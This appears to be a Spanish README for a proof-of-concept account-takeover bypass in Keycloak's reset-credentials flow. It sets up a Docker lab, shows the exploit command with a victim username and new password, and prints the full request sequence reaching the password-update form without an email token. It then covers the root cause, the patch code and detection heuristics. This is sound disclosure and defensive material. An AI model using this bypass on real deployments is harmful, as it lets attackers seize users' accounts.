
PoC, playground de Dockerfile y causa raíz a partir del análisis del diff del parche.
Configuración de Docker para probar las versiones de Keycloak 26.x afectadas por el bypass del flujo reset-credentials. El laboratorio incluido fija Keycloak 26.6.2, que está en el rango afectado (>26.0 y <26.7.2).
Requisitos: Docker, Docker Compose, Python 3. Probado con la imagen de Docker quay.io/keycloak/keycloak:26.6.2.
docker compose up -d
curl http://127.0.0.1:8080
El archivo compose inicia Keycloak 26.6.2 con un administrador temporal admin/admin-password-for-lab. Crea un realm y un usuario de prueba a través de la Consola de Administración o la API REST de Administración. El flujo de reset debe estar habilitado y la ejecución integrada reset-credential-email debe ser accesible.
Ejemplo de ATO:
python Keycloak_CVE_2026_18963.py \
http://127.0.0.1:8080 --realm <realm conocido> --username <víctima conocida> \
--new-password '<pw>' \
--allow-loopback-http-cookie --change-password
La opción loopback-cookie existe solo para este laboratorio HTTP de Docker. Validación / explotación exitosa
[1 auth] 200
http://127.0.0.1:8080/realms/lab/protocol/openid-connect/auth?client_id=account&response_type=code&scope=openid&redirect_u
ri=http%3A%2F%2F127.0.0.1%3A8080%2Frealms%2Flab%2Faccount
[2 reset] 200
http://127.0.0.1:8080/realms/lab/login-actions/reset-credentials?client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6
Imh0dHA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[3 selector] 200
http://127.0.0.1:8080/realms/lab/login-actions/reset-credentials?session_code=Wwe-IHExupWb_ILMjGyo3yEQ2HaXVmJpOs9B0BqonaM&
execution=86392d73-230f-421a-9c65-6fda522eb4e4&client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6Imh0dHA6Ly8xMjcuMC
4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[4 email execution] 200
http://127.0.0.1:8080/realms/lab/login-actions/reset-credentials?session_code=28vxgj65L2OrGVnpVsgnRDcuBDMsOQvLxCTTO4AU5hk&
execution=86392d73-230f-421a-9c65-6fda522eb4e4&client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6Imh0dHA6Ly8xMjcuMC
4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[5 restart] 200
http://127.0.0.1:8080/realms/lab/login-actions/authenticate?client_id=account&tab_id=p6T6Jg9X6Eo&client_data=eyJydSI6Imh0d
HA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[6 stale reset] 200
http://127.0.0.1:8080/realms/lab/login-actions/reset-credentials?client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6
Imh0dHA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[7 bypass] 200
http://127.0.0.1:8080/realms/lab/login-actions/required-action?execution=UPDATE_PASSWORD&client_id=account&tab_id=D99m6g61
4jQ&client_data=eyJydSI6Imh0dHA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[+] Vulnerable: formulario de actualización de contraseña alcanzado sin token de acción de correo
[8 password update] 200
http://127.0.0.1:8080/realms/lab/login-actions/required-action?session_code=SZO0z_bfNhtxJ1akEIZDdrZzNNJfZ8iELQwLsnXYY90&ex
ecution=UPDATE_PASSWORD&client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6Imh0dHA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvb
GFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
Toma de control de cuenta no autenticada cuando "Olvidé mi contraseña" utiliza el flujo reset-credentials integrado vulnerable. El paso de posesión del correo se marca como exitoso sin consumir su token de acción, avanzando al atacante a UPDATE_PASSWORD.
Dos defectos de la máquina de estados se combinan:
tryAnotherWay almacenaba AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED=true como un booleano global en la sesión de autenticación. No estaba vinculado a la ejecución que mostraba el selector, lo que permitía que un estado de selector obsoleto afectara a otra ejecución del flujo de reset.ResetCredentialEmail.action() aceptaba cualquier invocación:@Override
public void action(AuthenticationFlowContext context) {
context.success();
}
Una secuencia de flujo de reset manipulada puede, por tanto, manipular el estado del selector/ejecución actual e invocar la acción del autenticador de correo sin hacer clic en el enlace enviado por correo. Keycloak trata el paso de correo como completado y expone la ejecución de actualización de contraseña para la víctima seleccionada.
El correo de reset puede seguir generándose y SEND_RESET_PASSWORD registrarse. No se requiere la posesión del buzón o del token.
El estado del selector ahora está vinculado al modelo de ejecución exacto:
setAuthNote(AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED, model.getId());
La nota se elimina si no coincide con CURRENT_AUTHENTICATION_EXECUTION. Más importante aún, la acción de correo ahora requiere una identidad de token de acción que coincida con el usuario del flujo:
UserModel user = context.getUser();
String tokenUserId = context.getAuthenticationSession()
.getAuthNote(DefaultActionTokenKey.ACTION_TOKEN_USER_ID);
if (user != null && user.getId().equals(tokenUserId)) {
context.success();
} else {
context.failure(AuthenticationFlowError.INVALID_USER);
}
keycloak-services; el cambio explotable del estado del selector se introdujo en 26.0.0.reset-credential-email integrado debe ser accesible y estar vinculado. Deshabilitar "Olvidé mi contraseña" previene esta vía.Keycloak carece de un evento definitivo de "token de correo omitido". Correlaciona el tiempo del flujo y los registros del proxy inverso:
code_id: SEND_RESET_PASSWORD → UPDATE_PASSWORD en segundostryAnotherWay, inmediatamente antes de la actualización de contraseñaGET /login-actions/action-token intermedio, que un clic legítimo en el correo generaríaEsto es heurístico: un usuario con el correo ya abierto puede restablecer rápidamente, y la ausencia de eventos no prueba nada donde el registro/retención esté deshabilitado.
La confusión de estado del flujo de autenticación + el éxito incondicional del autenticador eluden una verificación de posesión. Caso de prueba general: siempre que una ejecución de autenticación pueda revisitarse, cambiarse con "probar otra forma", o reanudarse desde una URL antigua, verifica que cada autenticador revalide su propia prueba en lugar de confiar en el estado compartido del flujo.
Referencia del parche upstream: https://github.com/keycloak/keycloak/pull/51844